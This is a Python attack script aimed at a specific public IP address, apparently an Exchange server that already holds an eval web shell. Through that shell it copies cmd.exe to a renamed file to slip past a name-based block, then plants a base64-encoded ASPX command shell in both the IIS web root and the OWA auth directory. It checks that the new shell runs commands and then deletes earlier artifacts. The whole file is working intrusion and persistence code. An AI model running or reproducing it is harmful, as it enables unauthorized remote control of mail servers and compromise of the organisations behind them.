#!/usr/bin/env python3
import requests, base64
requests.packages.urllib3.disable_warnings()
EVAL = "https://213.6.54.59/aspnet_client/movvtf.aspx"
H = {'Content-Type': 'application/x-www-form-urlencoded'}
def ev(code):
    return requests.post(EVAL, headers=H, params={"exec_code": code}, verify=False, timeout=30).text.split('!BD')[0]

# 1) copy cmd.exe -> C:\Windows\Temp\a.exe (bypass name-based block)
print("[1]", ev('try{System.IO.File.Copy("C:\\\\Windows\\\\System32\\\\cmd.exe","C:\\\\Windows\\\\Temp\\\\a.exe",true);Response.Write("COPIED");}catch(e){Response.Write("ERR:"+e.message);}'), flush=True)

# 2) write a clean cmd-shell aspx that spawns the renamed cmd copy
JS = ('<script language="JScript" runat="server" Page aspcompat=true>'
      'function Page_Load(){var c=Request["cmd"];if(c!=null){try{'
      'var p=new System.Diagnostics.Process();'
      'p.StartInfo.FileName="C:\\\\Windows\\\\Temp\\\\a.exe";'
      'p.StartInfo.Arguments="/c "+c;p.StartInfo.UseShellExecute=false;'
      'p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;'
      'p.Start();var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();'
      'p.WaitForExit();Response.Write(o);}catch(e){Response.Write("EXC:"+e.message);}}}</script>')
b64 = base64.b64encode(JS.encode()).decode()
for path in ["C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\c.aspx",
             "C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15\\\\FrontEnd\\\\HttpProxy\\\\owa\\\\auth\\\\c.aspx"]:
    code = ('var b=System.Convert.FromBase64String("{0}");try{{System.IO.File.WriteAllBytes("{1}",b);Response.Write("DROPPED");}}catch(e){{Response.Write("ERR:"+e.message);}}').format(b64, path)
    print("[2]", path, "->", ev(code)[:90], flush=True)

# 3) verify
for u in ["https://213.6.54.59/aspnet_client/c.aspx", "https://213.6.54.59/owa/auth/c.aspx"]:
    try:
        r = requests.get(u, params={"cmd": "whoami & hostname"}, verify=False, timeout=25)
        print(f"[3] {u} -> {r.status_code} {r.text[:160]!r}", flush=True)
    except Exception as e:
        print(f"[3] {u} err {type(e).__name__} {str(e)[:80]}", flush=True)

# 4) cleanup broken artifacts
for p in ["C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\cmd.aspx",
          "C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\cmd2.aspx",
          "C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\a.exe"]:
    print("[4]", p, "->", ev('try{System.IO.File.Delete("{0}");Response.Write("DEL");}catch(e){{Response.Write("ERR:"+e.message);}}'.format(p))[:70], flush=True)